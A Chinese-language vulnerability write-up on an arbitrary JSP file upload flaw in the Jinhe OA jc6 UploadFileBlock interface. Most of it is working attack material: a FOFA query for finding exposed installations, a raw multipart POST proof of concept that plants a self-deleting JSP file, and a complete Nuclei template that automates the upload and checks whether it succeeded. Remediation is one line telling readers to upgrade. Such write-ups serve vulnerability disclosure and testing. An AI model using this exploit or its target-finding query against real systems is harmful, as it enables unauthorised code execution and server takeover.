金和OA jc6 UploadFileBlock 任意文件上传漏洞

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

金和OA协同办公管理系统软件(简称金和OA),本着简单、适用、高效的原则,贴合企事业单位的实际需求,实行通用化、标准化、智能化、人性化的产品设计,充分体现企事业单位规范管理、提高办公效率的核心思想,为用户提供一整套标准的办公自动化解决方案,以帮助企事业单位迅速建立便捷规范的办公环境。

金和OA jc6系统UploadFileBlock接口处存在任意文件上传漏洞,恶意攻击者可能利用此漏洞上传恶意文件,最终导致服务器失陷。

金和OA jc6 UploadFileBlock 任意文件上传漏洞_第1张图片

Ⅱ、fofa语句

body="/jc6/platform/sys/login"

Ⅲ、漏洞复现

POC

POST /jc6/JHSoft.WCF/Attachment/UploadFileBlock HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK
 
------WebKitFormBoundary5iALAXlSiqxJXrhK
Content-Disposition: form-data; name="filename"; filename="ceshi.jsp"
 
<% out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
------WebKitFormBoundary5iALAXlSiqxJXrhK--

1、构建poc

金和OA jc6 UploadFileBlock 任意文件上传漏洞_第2张图片

2、访问

http://127.0.0.1/jc6/upload/ceshi.jsp

金和OA jc6 UploadFileBlock 任意文件上传漏洞_第3张图片

Ⅳ、Nuclei-POC

id: jinhe-jc6-UploadFileBlock-fileupload

info:
  name: 金和OA jc6系统UploadFileBlock接口处存在任意文件上传漏洞 恶意攻击者可能利用此漏洞上传恶意文件 最终导致服务器失陷 
  author: WLF
  severity: high
  metadata: 
    fofa-query: body="/jc6/platform/sys/login"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /jc6/JHSoft.WCF/Attachment/UploadFileBlock HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
        Accept: */*
        Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.8
        Connection: close
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5iALAXlSiqxJXrhK
        
        ------WebKitFormBoundary5iALAXlSiqxJXrhK
        Content-Disposition: form-data; name="filename"; filename="{{filename}}.jsp"
        
        <% out.println("Hello World!");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
        ------WebKitFormBoundary5iALAXlSiqxJXrhK--

      - |
        GET /jc6/upload/{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0

    matchers:
      - type: dsl
        dsl:
          - status_code==200 && contains_all(body,"Hello World!")

Ⅴ、修复建议

升级至安全版本

你可能感兴趣的:(安全,web安全)